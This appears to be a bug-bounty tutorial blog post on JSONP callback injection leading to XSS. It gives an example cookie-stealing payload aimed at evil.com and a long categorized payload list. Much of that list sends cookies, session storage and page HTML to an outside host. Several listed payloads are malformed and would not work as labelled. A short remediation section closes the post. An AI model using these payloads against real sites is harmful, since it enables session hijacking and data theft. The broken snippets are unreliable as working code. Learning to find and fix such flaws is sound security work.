Bug bounty hunting is one of the most exciting ways to earn money while improving your cybersecurity skills. In this blog, we'll explore a real-world vulnerability called JSONP Callback Injection, how it works, and how you can find it.

πŸ” What is JSONP?

JSONP (JSON with Padding) is a technique used to bypass browser restrictions like Same-Origin Policy.

Instead of returning JSON like this:

{ "name": "Mehedi" }

It returns:

callbackFunction({"name": "Mehedi"});

The callbackFunction comes from a URL parameter:

https://target.com/api?callback=myFunc

⚠️ Where is the vulnerability?

The vulnerability happens when the server does not validate the callback parameter.

🎯 Target Endpoint Example

https://target.com/api?callback=YOUR_PAYLOAD

❌ Vulnerable Example:

https://target.com/api?callback=alert(1)

Response:

alert(1)({"name":"Mehedi"});

πŸ‘‰ This executes JavaScript in the victim's browser β†’ XSS (Cross-Site Scripting)

πŸ’₯ Real Attack Scenario

An attacker can inject malicious payload:

https://target.com/api?callback=fetch('https://evil.com/'+document.cookie)

If executed, the victim's cookies can be stolen.

πŸ”POC:

https://github.com/ossrs/srs/security/advisories/GHSA-gv9r-qcjc-5hj7
POC: https://github.com/ossrs/srs/security/advisories/GHSA-gv9r-qcjc-5hj7

πŸ§ͺ How to Find JSONP Vulnerabilities

Step 1: Identify endpoints

Look for:

  • callback=
  • jsonp=
  • cb=

Step 2: Test payloads

Try these:

?callback=alert(1)
?callback=confirm(1)
?callback=prompt(1)

# JSONP XSS Payloads - http://localhost:3000/?callback=

## BASIC
alert`(1)`
console.log`(1)`
prompt`(1)`
confirm`(1)`
eval`(alert(1))`
Function`alert(1)`()
[alert](1)
alert.call`(1)`
window[alert](1)
top.alert`(1)`

## DATA EXFIL
fetch`https://httpbin.org/post?c=`+document.cookie
(new Image).src=`https://httpbin.org/post?i=`+btoa(location.href)
navigator.sendBeacon`https://httpbin.org/post?b=`+btoa(document.referrer)
XMLHttpRequest.prototype.open.call`(1,`POST`,`https://httpbin.org/post`,1,0)`
fetch('',{method:'POST',body:document.cookie})
location=`data:text/html,<script>fetch('https://httpbin.org/post?d='+btoa(document.cookie))</script>`
eval`fetch('https://httpbin.org/post?x='+btoa(document.body.innerHTML))`
document.createElement`img`.src=`https://httpbin.org/post?data=`+btoa(document.documentElement.outerHTML)

## SESSION THEFT
fetch`https://httpbin.org/post?session=`+document.cookie+location.hash
JSON.parse`{"x":alert(document.cookie)}`
atob`YWxlcnQoZG9jdW1lbnQuY29va2llKQ==`
btoa(document.cookie).replace`==`,`https://httpbin.org/post/${...}`
sessionStorage.clear`;fetch('https://httpbin.org/post?s='+btoa(JSON.stringify(sessionStorage)))`

## DOM/STORAGE
fetch`https://httpbin.org/post?d=`+btoa(document.documentElement.outerHTML)
history`https://httpbin.org/post?hist=`+btoa(JSON.stringify(history))
screen`https://httpbin.org/post?screen=`+JSON.stringify(screen)
plugins`https://httpbin.org/post?plugins=`+btoa(JSON.stringify(navigator.plugins))

## BYPASS
alert/*foo*/`(1)`
al\u0065rt`(1)`
window['al'+'ert']`(1)`
([]['constructor']['constructor'])`(alert(1))`
this['alert']`(1)`
Function.prototype.constructor`alert(1)`()
setTimeout`alert(1)`,0

## CHAINING
[alert,console.log,fetch][0](1)
alert.constructor`alert(1)`()
({}).constructor.constructor`alert(1)`()
new Function`alert(1)`()
setInterval`alert(1)`,999999

## ENCODED
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
atob('YWxlcnQoMSk=')
(''+'ale'+'rt')`(1)`
'alert'.replace(/./g,x=>String.fromCharCode(x.charCodeAt()+1))`(1)`

## MOBILE
webkit.messageHandlers.webview.postMessage`xss`
Android`xss`
if(typeof Android !=='undefined') Android.log`XSS`
SpeechSynthesisUtterance`xss`

Step 3: Check response

If response reflects your input like:

alert(1)(...)

πŸ‘‰ Bingo! Vulnerability found 🎯

πŸ›‘οΈ How to Fix

βœ… 1. Validate callback

if (!/^[a-zA-Z0-9_]+$/.test(callback)) {
    return res.status(400).send("Invalid callback");
}

βœ… 2. Use JSON instead of JSONP

res.json(data);

βœ… 3. Enable CORS

Modern APIs should use CORS instead of JSONP.

πŸ’₯ Impact

  • Cross-Site Scripting (XSS)
  • Session Hijacking
  • Sensitive Data Exposure
  • Account Takeover

πŸ”₯ Pro Tips for Bug Hunters

  • Always test old APIs (legacy systems use JSONP)
  • Combine with XSS for higher impact
  • Check subdomains (dev, staging, api)
  • Use tools like Burp Suite & browser DevTools

πŸ’° Final Thoughts

JSONP vulnerabilities are rare in modern apps but still exist in legacy systems. If you find one, it can lead to serious security issues like data theft and account takeover.

Stay curious, keep testing, and happy hacking! πŸš€